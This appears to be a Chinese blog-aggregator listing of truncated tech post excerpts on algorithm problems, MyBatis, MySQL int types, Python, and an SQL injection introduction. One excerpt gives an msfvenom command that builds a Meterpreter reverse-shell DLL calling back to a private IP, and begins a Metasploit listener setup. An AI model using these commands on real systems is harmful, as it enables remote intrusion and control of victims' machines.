Farmer John has built a new long barn, with N (2 <= N <= 100,000) stalls. The stalls are located along a straight line at positions x1,...,xN (0 <= xi ...
分类:
其他好文 时间:
2020-02-18 12:41:51
阅读次数:
66
IDEA 利用 Mybatis 使用 maven 命令生成逆向工程 数据库建表 在本地的数据库建立表,然后利用 Mybatis 使用 maven 命令生成逆向工程。 本地使用 maven 建立一个项目 maven 建立项目,pom.xml 文件配置如下: 建立配置文件 resources 目录下建立 ...
分类:
其他好文 时间:
2020-02-18 09:59:35
阅读次数:
90
1.题目描述 英文版: Given an array nums of n integers and an integer target, find three integers in nums such that the sum is closest to target. Return the su ...
分类:
其他好文 时间:
2020-02-18 09:54:23
阅读次数:
55
Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum. Example: Inpu ...
分类:
其他好文 时间:
2020-02-17 19:59:09
阅读次数:
80
1.和数据结构相关的序列: 1.1reversed对列表进行反转(次操作不会该改变原列表,而且生成一个新的迭代器) l=[1,4,6,8,9] l1=l.reverse() #列表里的反转没有返回值 print(l1,l) #列表里的反转会改变原来的数据 结果为 None [9, 8, 6, 4, ...
分类:
其他好文 时间:
2020-02-17 18:09:46
阅读次数:
80
如图: mysql 中的这个长度设置,即 int(n) 是什么意思,以及“无符号”和“填充零”又代表什么意思? 无符号:首先int(n),Integer(n) 长度为32位二进制整数(4字节),勾选上“无符号”时表示禁止负数,取值从0开始。此时可以表示的范围是 0 2e(32)-1 ,你可以存储任何 ...
分类:
数据库 时间:
2020-02-17 16:15:22
阅读次数:
91
1 何谓SQL注入? SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。 SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的 ...
分类:
数据库 时间:
2020-02-17 12:16:02
阅读次数:
72
第一步:生成dll文件 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.106.10 LPORT=443 -f dll -o /tmp/reverse_tcp.dll 第二步:启动MSF等待回连 use exploit/mu ...
分类:
系统相关 时间:
2020-02-16 16:13:17
阅读次数:
132
根据数据范围,暴力可以解决,对每一个串,找与其互为回文的串,或者判断自身是否为回文串,然后两两将互为回文的串排列在头尾,中间放且只能最多放一个自身为回文串的串,因为题目说每个串都是不同的 #include<bits/stdc++.h> using namespace std; #define low ...
分类:
其他好文 时间:
2020-02-16 14:54:52
阅读次数:
85
主要介绍 python 中异常的继承关系,及如何自定义异常 1. 异常的继承关系 2. 自定义异常 3. 异常捕获 4. 主动触发异常 5. 采用traceback模块查看异常 ...
分类:
编程语言 时间:
2020-02-16 14:53:11
阅读次数:
112